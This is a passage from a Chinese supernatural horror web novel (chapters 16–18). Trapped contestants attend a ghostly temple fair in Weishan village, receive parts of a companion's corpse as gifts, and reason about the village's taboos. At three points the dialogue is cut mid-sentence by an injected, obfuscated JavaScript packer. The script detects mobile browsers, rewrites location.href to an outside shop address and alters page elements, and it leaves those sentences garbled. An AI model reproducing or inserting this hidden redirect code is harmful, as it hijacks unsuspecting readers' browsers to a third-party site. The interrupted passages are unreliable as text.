四爷并不知道自己上了菜单,不然他的心情还能更差。 他明白祭祀无情,可一天之内死两个手下,损失还是太大了。这是他第五场祭祀,也就是说,后面三场他得独自参加。 光是想到这事,四爷就一阵头皮发麻。要不是还用得着那些新人,他恨不得杀光他们泄愤。 大夫也就算了,那人精神状态不对劲。他身体畸变,崩溃自杀也说得通。 但疤哥没那么容易死。 还在阳间时,疤哥就是他的马仔,手上好歹沾过几条人命。他对疤哥的性格门儿清,都过了四场祭祀,那个人不会蠢到随便犯忌。 疤哥唯一的缺点就是性子傲,可能对新人放松警惕。 可是知道不对又怎样?这就是个阳谋。 不管疤哥怎么死的,他成了光杆司令是事实。自己再强,也很难一边看管这么多人,一边应付村中邪祟,再分心调查第三条禁忌。 “操他妈的。” 四爷猛地踹了脚桌子,脆弱的木桌应声而碎。 ……他只能和那组人合作。 算了,他管得了疤哥大夫,就管得了那群雏儿。小心防着那两个男的就好,尤其是那个贾旭,浓眉大眼身板壮实,气势挺像那么回事。 同一时间,贾旭在笼子里唉声叹气。 他叹气叹得实在大声,方休忍不住扭头去看。真是漫长的一天,辛苦这位“主心骨”了。 对四爷,贾旭顺利谈成了合作。 对同伴……方休那声异常缺德的笑,他自己还没解释,贾旭就主动用“方休吓得情绪错乱”搪塞过去。 也不知道贾旭干嘛那么紧张,眼下他们又不是敌人。 合作谈成后,成松云把先前的越狱计划告诉了他俩,包括每个人的能力。贾旭和方休也坦然分享经历和能力,只不过方休变了一点点说法。 “污染因果”难以解释,不如说成“隐藏行迹”。 虽然白双影的能力有些杀伤力,但把人变成树有点花哨,限制也多。不如黄毛怼脸来一拳,直接众生平等,打死一个算一个。 从实用性上来说,梅岚的“水面潜行”和成松云的“怨鬼护罩”还要更强,有代价限制也能理解。 贾旭的“变身”,则和黄毛的“体质加强”,阴郁少年的“鬼探子”一档。它们简单粗暴,无需代价。 话说回来,白双影也没要求过代价……贾旭的画皮那么怕白双影,会不会是因为画皮其实也很弱? 贾旭叹气这么狠,没准是发现了这一点。 方休上完药,缓缓脱离隐藏状态。 想到自家鬼的技能还没到代价个税起征点,他不禁安抚地拍拍白双影,后者脸上缓缓长出一个问号。 交换完技能情报,作为唯一指定输出,黄毛十分嘚瑟。 他拿眼瞥方休:“除了你,大家的鬼和能力都配套。为啥艳鬼玩隐藏啊?它不该来个‘色.诱’吗?” 方休震惊:“我家鬼长成那样,用得着施法色.诱?” 黄毛:“?”兄弟,你的话有点道理,但很怪。 方休:“再说带人隐藏很合理啊。把人类诱惑到手,难道它们要拿身份证开房?” 黄毛品了品,还是觉得哪里不对劲:“……哥们,你召了个男艳鬼,你该不会喜欢男的吧?” 他边说边往后退,嘴里啧啧有声。 突然听到这个问题,方休有些懵,但他很快又和善起来:“我没想过这事。但你尽管放心,无论我喜欢男人女人,我保证不会喜欢你。” 黄毛:“……” 他僵在原地,不知道该回答“那太好了”还是“去你大爷”。 一队邪祟为他解了围。 福老儿的唢呐队再次出现,这回它们是单独来的。只听院子外唢呐声声,唱腔九曲十八弯。 “神自嵬山降——客随苦雨来——” “外客不常有——入村自徘徊——” “今朝迎客喜——明日送客哀——” “念客困兽斗——我辈徒伤怀——” 大头童男童女缓步走入院子,硕大的头罩笑容喜庆、油彩斑驳。 它们怀中各抱了四份红纸请帖,正好对应院内八人,不多也不少。 “祠堂修毕,庙会将至啰——” “入夜时分,村长有请唷——” 它们用尖利的声音吆喝道。 来了,方休整整衣服。他的红T恤被血和药汁浸透,看着有点狼狈。 听到动静,四爷全副武装走出来。 只见他右臂勾魂锁、右手桃木剑,左手戴着副古式护臂。四爷脖子上挂了足足五个玉佛,用红线缠成一排,腰间还悬了个铜葫芦。 他连瘦猴的匕首都没放过,和铜葫芦搁在一起。 方休沉默。这场面堪比新玩家迎头撞上氪佬,四爷道具数量比他们人数都多,这还只算他打眼能看到的。 ……有意思的是,其中并没有麦子的法器。 四爷走到那对邪祟跟前,伸手要请帖。那对童男童女咯咯笑着,只拿出一份给四爷,剩下的抱得死紧。 四爷无声地骂了句,回身去开笼子。 “都出来拿请帖。”他烦躁道。 成松云哆嗦:“一定要拿吗?会不会有事……啊!” 她话还没说完,就被一股无形力量弹飞,狠狠撞到木栅栏上。 四爷收回左手,甩甩护臂:“还有人放屁吗?” 方休举手。 四爷无视,方休持续举手。 四爷:“……” 四爷:“……有屁快放。” “我的铜钱剑被收走了,可以还给我吗?”方休小声说。 “你该干什么干什么,那种垃圾拿着也没用。”四爷说。 “那我们该干什么?”方休眨眨眼。 四爷瞪他:“听不懂人话?都给我拿请帖。” 说到这,他放弃了似的,烦躁地抓抓头发,“行,我就多说两句——那个福老儿敢用神.的名号,绝对是大煞,你们别稀里糊涂上去送。” 黄毛憋不住了:“它听起来还挺讲理。” “会人话的邪祟,不是专门迷惑人的小鬼,就只有大煞。” 四爷嘲讽道,“人话对它们来说只是手段。邪祟没一个好东西,你想去和它们讲理,不如现在就投胎。” 方休:“……”“没一个好东西”这话,由您说出来就挺微妙。 他扶起呻.吟不止的成松云:“成姐,还好吗?” 成松云点点头,强撑着站起来:“不用那么客气,我闺女和你差不多大,叫阿姨就行。” “我妈说过,但凡比她年轻比我年长,我都该叫姐。”方休悄声说,“成姐你看着不到五十,我都二十八了。” 成松云表情放松了些:“你妈妈呢?” “五十一岁。”方休说,“如果她还活着的话。” 成松云一怔,她抿了抿嘴唇:“……你就叫我成姐吧。” “好。” “别在那叽叽咕咕!”四爷呵斥道,“赶紧出来拿请帖!” 成松云压低声音:“小方啊,我觉得那请帖不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13582889|142489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好东西……” “我知道,但福老儿手里一定有咱们想要的信息。”方休用气声回应。 两个白天下来,嵬山村能逛的地方,他们筛得差不多了。 废弃民宅大同小异,里面只剩些破家具旧零碎。有意思的是,除了糊墙的古董报纸,他们没发现近些年的报纸,更别日记这类东西。 一切异常“干净”,就像被谁专门打扫过。 方休在坟地有点收获,但关于那个古怪神像,他仍没找到任何线索。 ……这意味着,接下来的调查避不开邪祟。 方休刚打算憋几句软话,成松云自己想开了:“唉,我懂,有些事儿还是得冒险。” 她话音刚落,又是一阵冲击,这回方休和成松云一起撞上木栅栏。成松云没怎么样,倒是方休又吐了一口血。 四爷:“我他妈说了赶紧出来,聋了?” 旁观全程的白双影:“……” 烦,他的草药已经用完了。 其实自从童男童女进门,白双影就陷入了沉思—— 来者不善,之后真要死斗起来,他要怎么办? 白双影原本只想随随便便应付。帮点小忙还好,如果方休眼看要死掉,他绝不会冒着暴露自己的风险出手。 方休没了,他的确会损失修为,但比起彻底暴露,这种代价还算能接受。 但也许是他憋得太久,围观祭祀真的很有趣,还有生魂可以吃……不暴露的前提下,他是不是可以多出几分力? 就算方休死,也得等他玩够了再死。 方休那边吐完血,抹抹嘴巴,又拽了拽白双影的袖子。 “待会儿你走我身后。那个福老儿是大煞,很凶,四爷没必要撒这个谎。” 白双影眉头微动:“我听见了。” 什么大煞。若不是地府束缚,福老儿还不够他塞牙缝。 方休恍然:“啊,你也会学人类说话……就算四爷说你是‘专门迷惑人的小鬼’,你别往心里去,没有的事。” 白双影表情逐渐消失:“……” ……多出力?他还是继续旁观吧。 几分钟后,连疯子的领口都被塞了请帖。四爷用勾魂锁链牵着疯子,放其他人自由行动。 说是自由行动,其实一行人被唢呐队伍裹挟,走路速度都没法自主。唢呐在众人耳边猛吹,邪祟曲声入耳,让人五脏六腑针扎一样难受。 方休试着向它们搭讪,问“神自嵬山降”是个什么典故,结果人家压根不理他。最后还是白双影看得厌烦,阻止了方休。 “别问了。”白双影说,“它们只是模仿人类的声音,不清楚自己在唱什么,更听不懂你在说什么。” 方休顿时对邪祟的文化水平有了新的认识。 “能说人话”和“会说人话”,还是很不一样的。 “你会说人话,真好。”方休感叹,“不然咱俩只能附身交流,我请你吃饭都没法直接问你合不合口,人类笑话你也听不懂……” 白双影:“……我偶尔会想,其实是你不太会说人话。” 方休:“你看你都会讲人类笑话了。” 白双影不再吭声。 方休勾勾嘴角,低头翻看着红彤彤的请帖。请帖呈正方形,正中贴着个缟白的倒福字,四边整整齐齐写了四行金字—— 【诸恶莫作天降祥瑞福泽远,众善奉行雨润万物情义深。】 【以和为贵阴阳相济厄自解,欲速不达一意孤行逆鬼神。】 它们左右上下两两相对,左右两联分明是祠堂对联。新添的上下联对仗不算工整,劝诱的意味倒很明显。 方休盯着上下两联,眼里的笑意逐渐消失。 …… 这是众人来到嵬山村的第二夜,也是雨水连绵的第二天。 雨云使得夜晚愈发黑暗,嵬山村仿佛被影子的河流吞噬,只有祠堂附近一大片火红—— 祠堂恢复了原先的模样,门扉大敞,露出其中崭新的神像。 这回神像变成了四条手臂四条腿,手脚依旧乱糟糟横斜,活像只被拍扁的蜘蛛。 它仍有三个脑袋,脸照旧漆得煞白,嘴唇则涂成大红色。红颜料没干透,慢悠悠顺着神像下巴淌下,有种莫名的血腥感。 两边桌子红烛缭乱,门外更是挂满了赤红灯笼。灯笼被雨水打得震颤不止,犹如一颗颗跳动的心脏。 这回“赶集”的阵势比上次大了不知道多少,各种摊位一眼看不到头,生生组成一座迷宫。祠堂对面,平地架起了奢华戏台,橙红灯光几乎映亮了小半边天。 戏台前坐得满满当当,高瘦的福老儿坐在正中间,堪称鹤立鸡群。 一行人被唢呐队伍推向戏台,走得近了,台上唱曲甚至压过了唢呐哀乐。 “眼见她苦心煎熬,落得个心痛如绞。” “眼见他只求自保,落得个烂肉一泡。” “眼见她惊惶奔逃,落得个油烹火烤。” “眼见他痛哭嚎啕,落得个白绫自吊。” “客似主主似客凭空捏造,鬼像神神像鬼纲常颠倒——” “摸不清猜不透无可奉告,出不去进不来笼中之鸟——” 那唱曲悲悲戚戚,如泣如诉,直往人耳朵里钻。看清台上戏子的那一刻,黄毛和梅岚一同惨叫出声。 那是四具尸体,四具他们认识的尸体。它们个个穿了红绸戏服,胸口绑了大红花,委顿在太师椅上。 麦子的尸体皮肤铁青,全身胀气,口鼻已然出现蛆虫。老棉干脆是红布包裹的一摊肉,腐水浸透了绸缎。胆小大婶只剩白骨,骨头上还残留着烧灼的痕迹。 最后是大夫的尸体。 明明他们离开时,那具尸体还吊在树上。 大夫的白大褂换成了红大褂,断掉的脖颈毫无生气地歪向一边。他的嘴巴一动不动,尖锐刺骨的唱词擅自钻出。 “摸不清猜不透无可奉告,出不去进不来笼中之鸟——” “摸不清猜不透无可奉告,出不去进不来笼中之鸟——” “好!” 福老儿独自站起,使劲拍手,“唱得好哇!” 其余身影随之直立,有样学样道:“唱得——好哇——” 紧接着,它们齐齐转头,同时望向方休一行人。 16.一点心意 凄凄惨惨戚戚的唱腔中,一行人沉默无言。 白双影有点惊讶地看向方休,他还以为这人会很捧场地叫个好。方休突然这么正常,他有些不习惯。 然后他就听见方休疑惑地嘀咕:“唱戏人数不对……瘦猴和疤哥不在,难道是因为死法不好押韵?” 白双影心安了。 “它们绝对发现不了瘦猴。”白双影很矜持地表扬自己。 方休:“也是,都成树了,幸亏它们没用他雕神像。但是疤哥……” 白双影的隐蔽下,方休仿佛一个人低头自语。福老儿径直上前,打断了这段悄悄话。 “献丑了,献丑了。” 它仍然弯着眼缝嘴缝,笑容有点抽象,“一位客人因果不净,不便上台,还望各位海涵哪——” 尽管这东西两眼只是两条黑缝,没有眼珠,方休仍然感受到了它若有若无的视线。 “敢问您,怎么个因果不净法?”面对福老儿,四爷语气还是很恭敬的。 福老儿笑意更深:“可怜畜生被屠户一刀捅死,您能说它的死因是刀么?屠户活着呢,屠户瞧着呢,因果牵牵扯扯唷——” 四爷脸拉了下来,这种程度的暗示他听得懂。 ……妈的,果然有人做手脚,故意引疤哥犯忌。 福老儿:“莫要动怒,这可是为各位办的庙会。您想听曲儿也好,逛集市也罢,该有的全都有。庙会办个七天七夜,诸位客人千万尽兴——” 它弯下脖子,僵硬地俯视众人。福老儿身上散发出一股臭烘烘的味道,像是混合了墨汁和腐肉。 四爷扫了眼台上四具尸体,没有言语。其余人也不敢吭声,才两天就死了五个人,七天七夜过完,还能有人活着? 方休没事人一样开口:“我们可以回去吗?” 福老儿笑容不变:“这样好的庙会,为何要回去?您是哪里不满意?想要套圈儿糖画儿捏面人儿,随便开口就是,咱们村自会准备……” “我不喜欢庙会。”方休说。 福老儿:“……” 福老儿笑容维持得很用力:“这可是为各位办的庙会……” “您说是这么说,但是我们还没到,戏就开场了。”方休公正地指出。 这回,连四爷都忍不住侧脸瞧他。方休仿佛没有察觉,一双眼只盯着福老儿。 “庙会就像这戏曲,开场便不能停。除了待客,还要敬鬼神。”福老儿叹气摇头,脖子又发出危险的吱嘎声,“不能停,不能停唷——” 方休:“好的——” 敬鬼神?有意思,明明你们自己就是鬼。 他这么一搅合,周围人的情绪倒是稍稍平复下来。 见气氛有变,福老儿收敛笑容:“对咯,老夫这里备了些迎客礼,还请笑纳——” 它退后数步挥挥手,几个半人高的邪祟推推搡搡,高举出八个红布包。一看那布包的形状,刚平静下来的梅岚差点再次惊叫出声。 那布包里分明是人的碎尸。 尸块大小不一,有手有脚。个个都血淋淋的,像是被猛兽啃过一遍。方休仔细分辨了下,那大概是疤哥的尸首。 两条手臂、两条腿、躯干按照“三焦”横切三块,外加一颗头颅,刚好分成八份。 它们被大小一致的红布精心包裹,扎口贴着白纸黑字的倒福。有些肢体太长,布料包不住,干脆半截露在外面,绑上漂亮的红布花。 生怕火上油没浇够,福老儿又说:“这是老夫代整个嵬山村送的礼,各位好好保管,务必务必。” 它裂开嘴缝,嘴角要提到耳朵根,“不然大伙儿都会难过的。” 最后半句,它说得慢条斯理,意味深长。 说罢,福老儿指挥手下一对一分发“礼物”。两条手臂给了梅岚和阴郁少年,两条腿给了黄毛和成松云。四爷、疯子、贾旭各拿一块躯干。 它把那颗血糊糊的头颅留给了方休。 头颅皮肉不多,姑且维持原形。红布被血浸透,紧紧贴在头颅上,众人甚至能看清疤哥绝望的表情。 “谢谢您。”方休很有礼貌地接过那颗头。 十斤出头的负重,勉强能接受。 疤哥的生魂早被白双影吃了,谁能想到,他还要打包自家鬼的厨余垃圾。 白双影也不喜欢厨余垃圾。他皱皱鼻子,忍不住开口道:“为什么招惹福老儿?人头气味最大,臭得很。” 方休忙着解开大红花,好用红绸绳把人头捆到背后。听到白双影的问题,他笑了笑,笑意却没到眼底。 “多好,连你都觉得福老儿是因为‘我故意找事’针对我……而不是因为‘我害死疤哥’才这么分。” 人类可真会算计,白双影扬起眉毛。 方休语气又轻快起来:“再说没什么可担心的,一块死肉罢了,难道你还能把疤哥的魂吐出来?” 那确实不能,白双影果断摇头。 其他人接受度就没方休这么高了。除了四爷和疯子,谁都没接那些包裹。福老儿也不着急,它就站在十步外,乐呵呵地看着,直到他们开始抓挠身体。 第二条禁忌,不得伤害此地村民,自卫除外。 拒收老太太鬼的糖都会犯忌,更别提整个嵬山村的大礼。 终于,所有人乖乖收下尸块,颤抖着往身上绑——这东西要是丢了,他们会因为犯忌活活痒疯。 “你小子胆子挺大。”四爷绑好尸块,瞟了方休一眼。 “我在医院干保洁,急诊那边看习惯了。”方休老实答道。 四爷唔了声,没再多说。 眼下众人身上散发出浓烈的血腥气,堪比活靶子,在场所有邪祟的眼睛都跟着他们转。 迟钝如黄毛也意识到了不对,他小声骂人:“我操,老东西之前装得跟个人似的,它就没安好心!” 贾旭使劲擦手上的血:“它那唢呐队伍直接上门请人,谁都不会跟着走。它只是懒得跟咱们正面冲突,才提前打招呼。” “……它确实不安好心,”他少见地赞同黄毛,“亏我还觉得它有苦衷,我想想,福老儿的目的应该——” “傻逼。”四爷直接嗤笑一声,“别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13591525|142489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太把自己当个东西。老子过了一半祭祀,只见过鬼玩人,没见过鬼跟人较劲。” 贾旭吞下后半句话,没敢继续。 “各位尽管放松,想做什么便做什么。” 见众人绑好尸块,福老儿晃着不似人的躯体,摇摇摆摆回归原位,“好——招呼了,礼收了,继续——” 此刻台上,四具尸体又开始咿咿呀呀地唱。 “眼见他拿了双手,下场要如何才好?” “眼见他分了两脚,死法要如何才巧?” “眼见他取了三焦,结局要如何才妙?” “眼见他得了颅脑,报应呀只多不少——” 不知何时,四把太师椅不再朝向台下,而是斜斜朝向一行人。 “我且唱你且听两相关照,先害人后害鬼死路一条——” “杀了生做了孽不是不报,上问天下问地时候未到——” “既然那个福老儿说‘想做什么便做什么’,咱们还是赶紧走。再听下去,我脑子都要冻住了。”贾旭摸摸胳膊上的鸡皮疙瘩。 梅岚捂紧耳朵,疯狂点头,她看起来随时都可能晕倒。她的身边,阴郁少年把手臂绑在胸口,似乎是刚刚呕吐完。 “先别乱动,我瞧瞧。” 四爷仗着身材高,东南西北地看了一圈。以祠堂为中心,四处都是鬼气森森的红灯笼,一眼望不到尽头。 “……妈的,鬼打墙!”他咬牙切齿。 方休彻底懂了,怪不得福老儿说“尽管拿走‘厄’”、“来去自由”呢。 这约等于你妈跟你说,今天学习八小时家务八小时睡够八小时之后可以随便打游戏。 福老儿给他们身上绑了疤哥牌血腥GPS,又搞了这么大阵仗,邪祟当然没必要硬碰硬“对抗”他们。拿,随便拿,拿得走算它们输。 “完了。”梅岚脸色青白,“七天七夜啊,这就是个屠宰场……别说‘厄’,我们连第三条禁忌都不清楚,我们会困死在这儿……” 贾旭脸色变了变,他似乎不知道如何安慰她。 方休能理解,毕竟祭祀不是恐怖游戏,未必有通关手段。硬要拿游戏打比方,他们已经一只脚踏进了BAD ENDING的CG演出。 方休:“来都来了,要不先选个方向探探,总之大家别分开。” 黄毛振作了点:“有说法?” 方休:“……恐怖电影里分头行动死得最快?” 黄毛咔吧咔吧掰手指,好在最终没动手。 “先试试东边。” 四爷不死心地又看了圈,狠狠吐了口气,“鬼打墙都搬出来了,至少证明‘厄’在鬼打墙的范围外。” 一个算不得好消息的好消息,大家死气沉沉地听。 “咱们走。”方休抓住白双影的袖子。 白双影歪头:“你不是不喜欢庙会吗?” “刚才我是骗人的。” 灯笼映照下,方休挨得极近,活人吐息烫到了白双影的耳朵。 “……庙会最好玩了。”方休耳语道,“一起去逛吧。” 17.东边祠堂 庙会灯火通明,鬼头攒动。 一行人身上绑了尸块,仿佛万众瞩目的明星,时时刻刻都有几十双眼睛黏着。四爷不为所动,他解下腰间的八卦铜葫芦,稳稳放在掌心。 “吉!吉!吉!”他喝道。 铜葫芦在他手中兀自转动,葫芦嘴指向某个方向,四爷满意地点点头:“果真是东边。” 黄毛再次振作:“大哥,有说法?” “日出东方,东边的阳气最足,邪祟好对付。”四爷难得心情好,顺口解释了两句。 黄毛:“厉害啊大哥!” 那语气就跟四爷是他亲生大哥一样。 这会儿没人鄙夷黄毛。比起分尸送礼的福老儿,四爷都算是初具人形,至少四爷的行为挺好懂的。 贾旭被四爷单独挑出来,推到最前面开路。其他人鸡仔一样挤在四爷身后,方休和白双影照例走在队伍末尾。 方休紧抓着白双影的袖子,目光在各个摊位间逡巡。 嘈杂的乐曲声中,邪祟们认真舞动没画眼珠的狮子,有些还把自个儿的头当绣球抛来抛去。白纸钱代替红纸屑,纸花冒充鲜花,摊位上堆满泥捏的食物,纸扎商品琳琅满目。 只要不去细看,场面还挺热闹。 方休:“跟我老家的庙会差不多,你逛过庙会吗?” 白双影摇头。 方休从地上捡了一小把纸钱,问卖纸花的摊子:“这些够不够买一支?” 他指指花篮里最红的那朵。 摊主是只游魂,它被方休问了个猝不及防,只知道迷迷糊糊地递上花,差点忘记收纸钱。 方休接过那支纸花,稍微弯了弯花柄,别上白双影的白袍前襟。 “很适合你。”方休微笑,“现在你算是逛过庙会了。” 白双影垂眼看。红艳艳的纸花被雨水润湿,灯笼映照下,和鲜花别无二致。还不错,他忍不住用指尖拨了拨,允许它留在他身上。 ……果然,这个人类挺有意思,他想。 折腾完了花,方休拉住白双影,快步赶上大部队。方休跑得急了些,人有点喘,好不容易顺过气,他又开始嘀嘀咕咕。 “戴这种纸花好像不太好,但你都邪祟了,大概没问题。”他说,“呃,你应该不会被一朵纸花克到吧?” ……这个人类要是没长嘴,可能更有意思,白双影又想。 他最终还是叹了口气,动动袖子,把方休往自己身边拢了拢。 随后白双影发现,方休一脸放松的笑,身体却绷得紧紧的,像是随时准备捕猎。这人背上几道大口子都崩开了,鲜血缓缓往外渗。只是方休背上的人头血腥气更冲,将那血味压了下去。 这个人类并不是蠢到对危险无知无觉,他只是不喜欢表现出来。 白双影认得这种行为,独居野兽也习惯隐藏疼痛与气味……但人类应该是群居动物吧? “跟紧我。”白双影忍不住说,“这些邪祟伤不了你。” “嗯嗯嗯,谢谢你。”方休说,一双眼还是在关注四周。 白双影一阵无语。他最近的疑问比过去一千年还多,自己好好当着邪祟,都快被方休逼出人性了。 “既然你丝毫不相信我,为什么要把生魂许给我?”他问道。 方休噗嗤一声:“哎呀,那又不是什么合同尾款,都说了肥水不流外人田……你就当我请客,比起被奇形怪状的玩意儿吃掉,被你吃掉感觉更好受。” “哪怕知道要死,我总有权利决定自己的死法吧。”他总是那副笑嘻嘻的样子。 方休没有否认“丝毫不相信”的部分,白双影又不想理他了。只可惜话匣子一打开,关不关由不得他。 方休:“说起来,生魂是什么味道?每个人风味会不一样吗,口感呢?” 白双影假装没听见。 方休难过:“人家生是你的人,死是你的饭……” “柔软,湿润,有些烫。因果越庞杂,滋味越丰富。”白双影语气平板,“生魂必须趁新鲜吃。三魂离体过久,要么化作鬼,要么散成阴气,没那么……没那么……” “没那么有营养。”方休体贴地帮他补充。 “嗯。” “那四爷绝对很好吃,我一定帮你看紧了。”方休兴致勃勃道。 嘈杂之中,两人并肩前行,聊得你来我往,活像真的在逛庙会。 稍微前面点儿的地方,其他人连摊子都不敢瞧,只知道低着头看脚下。然而邪祟们并没有因此放过他们—— “孩儿呀,孩儿呀。” 一具眼洞插簪子的骷髅扯住梅岚,往她手里塞黄泥做的桃酥。 “别害怕,来吃点心。”骷髅牙齿咔哒哒撞在一起,声音含混不清,“来吃点心。” 梅岚吓了一大跳,她还没反应过来,怀里就被塞了一大包泥桃酥。意识到怀中的重量,她僵在当场。 ……又是一堆不能扔的负重。如果丢下,势必要犯忌。 见梅岚收了东西,周遭无数邪祟齐齐转身。它们抓着泥巴土块,疯狂涌向梅岚—— “孩儿呀,孩儿呀。” “别害怕,来吃点心,来吃点心。” 它们齐齐说道,像长了同一条舌头。 它们递上来的垃圾快比梅岚重了,那根本不是一个正常人能承受的重量。邪祟们扭动脸庞,挤出鬼气森森的笑,大有当场给梅岚搭个坟堆的意思。 成松云见势不妙,干脆牙一咬,拦在梅岚身前:“她拿不下了,再拿走不动了!” 听到斥责,邪祟们齐齐停下,上下打量成松云。末了,它们居然没有继续强塞。 成松云松了口气,朝梅岚开口:“我帮你拿些吧。” 梅岚:“谢谢您,谢谢您,可是犯忌……” “礼都收下了,咱们又没故意扔掉,谁拿不一样?”成松云理理短发,“走吧姑娘,我帮你拿一半。” 梅岚咬了咬嘴唇,最后还是摇摇头。 成松云没有勉强,反手塞给她一罐饮料:“也行。你这样消耗大,一会儿渴了记得喝。” “要不我拿?我感觉还行。”阴郁少年慢下步子,试探着开口。 梅岚跟着慢下步子,笑得有点尴尬:“不是拿得动拿不动的问题……” 眼看队伍前进节奏要乱,方休上前两步,拍拍那个阴郁少年:“万一成姐或者你出了事,东西弄丢了,犯忌的很可能还是梅岚——因为她没有好好‘保管’礼物。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13603868|142489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 这说法太晦气,他猜梅岚说不出口。 果然,梅岚轻轻嗯了声,低下头去。 阴郁少年呆住,成松云只是苦笑了下。 “都能理解。”她说。 事情告一段落,几个人闷头继续走。 然而手捧土石的邪祟们没有散去。它们跟在梅岚身边,学着梅岚的步伐,一步一个脚印地贴着走。 “都能理解。”它们不停重复,哗啦啦摇晃手中土石,“都能理解。都能理解。” 梅岚的脸色比方才还白。她缩在成松云身边,抱紧怀里的泥桃酥,一双眼只敢看自己的鞋尖。 有梅岚当前车之鉴,众人更为警惕。他们紧紧挤在一起,无论身边邪祟说些什么,大家都装作没听见。 湿乎乎的泥路像是没有尽头。方休只觉得他们走了半辈子,打头的四爷才渐渐慢下来。 “我的脚肯定磨破了。”方休龇牙咧嘴。他能感受到脚底蓬勃生长的水泡,脚后跟也疼得要命。 白双影斜眼瞧他:“你以前就是这么逛庙会的?” “那不一样,上次逛庙会我还小。那时候我走累了,我爸就让我骑他脖子上。”方休说。 白双影皱皱眉:“我不会让你骑。” 方休:“……” 方休:“……我还没那么丧心病狂,朋友。” 白双影惊讶地望向方休,像是想说什么,又忍住了。他摸摸胸口的纸花,语气柔和了点:“你父亲对你倒不错。” 方休磕了磕鞋尖:“嗯,我很想他。” 白双影:“你活着回去就是。” “那也见不到啊。”方休又说,“我爸去世快二十年了。” “怎么你父亲也……你是诛九族被漏下了吗?”白双影迟疑着问。 方休乐了:“那没有,我只是有些倒霉。” “顺便一说,我是独生子,爸爸妈妈爷爷奶奶外公外婆都没了,省得你再一次次误会。” 白双影:“好的。” 队伍前方,四爷停住脚步,响亮地骂了句脏话。方休立刻打起精神,探头去看。 他们面前又是一座祠堂。 它与嵬山祠一模一样,牌匾完全一致。但这座“嵬山祠”门扉大敞,祠堂内没有神像,只有一把花梨木圈椅。 除此之外,房内只剩熊熊燃烧的红蜡烛,并没有邪祟的身影。 祠堂内的对联也变了—— 【扶善惩恶如明鉴】 【从此公道见人心】 方休眉头动了动。这两句话不太对仗,与其说是对联,它们更像诗句。 再往东看,祠堂后方只有纯然的黑暗,他们似乎摸到了鬼打墙的边界。不远处仍有庙会摊位,但它们都和祠堂保持了一定距离。 那座奇怪的空祠堂就那么立在那里,门内无比亮堂。 四爷没有立刻进门。他又把铜葫芦拿了出来,吉吉吉叫了三声,结果葫芦雷打不动地指向祠堂门。 “你。” 四爷从背后踹了贾旭一脚,“你先进去看看。” “等等。”方休少见地打断四爷。 “贾旭尝试前,我能说两句吗?……关于庙会,我有一点新发现。” 18.从此公道 贾旭仿佛抓住了救命稻草,猛然扭头看方休。 方休叹气:“别激动,我就是提个醒,你该上还得上。” 贾旭无言。 提个醒?作为锁一条链子的兄弟,方休见过的他都见过。贾旭不是没记情报,可它们根本互相矛盾。 比如福老儿自称想摆脱厄,提供吃喝,却又在庙会布下鬼打墙。 比如各种讯息暗示人鬼合作,邪祟还算循规蹈矩,却不时流露出恶意。 …… “其实很简单。”方休打断他的思绪,“第一,它们始终在模仿村民。” 四爷抬起眉毛:“怎么说?” 方休语气真诚:“我们到来后,它们没有上门打扰,而是由村长接触外出的人,主动提供吃喝。” “它们举办庙会,给我们发请帖。村长送我们新鲜肉食,乡亲们也使劲塞礼物……祭祀开始到现在,它们一直在热情款待客人。” 众人沉默,白双影有点欣慰。 终于,这些人类也尝到了“有道理但哪里不对”的憋屈。 “它们咬死疤哥,你明明看见了……”贾旭艰难开口。 “正常,村子这么大,总有不礼貌的村民。再说禁忌允许我们还手。” 四爷捏捏眉心:“行,第二点呢?” 方休微笑淡了些:“嵬山村敬神。” 四爷:“这不废话吗,祠堂搞那么邪门,烧完它们还会修。” 方休平静地继续: “我们两次遇到福老儿,唢呐队伍唱词不同。” “祠堂对联和请帖对联不同,‘厄’相关有两句,多半是邪祟后加的。” “今晚我们还没到,戏就冲着神祠开唱了。四把椅子正对祠堂时,和正对我们时,戏文不一样。” 他顿了顿,“邪祟性本恶,但既然它们想模仿村民,就不会对神说谎。” 贾旭一脸茫然,他记不住这么多细节。 方休理解地补充:“先不说戏文,对联唱词只有两句能当线索。” “祠堂对联‘诸恶莫作天降祥瑞福泽远,众善奉行雨润万物情义深’。” “唢呐队伍在祠前唱的‘神自嵬山降,客随苦雨来’。” 贾旭毛骨悚然:“你是说除了这两句……” “但凡与祠堂无关,都不可信。”方休说。 听到“邪祟性本恶”,白双影扭头看方休,方休却没与他对视。 白双影垂眼瞧胸口的花,祠堂门口光线强烈,那花又显得有些假了。 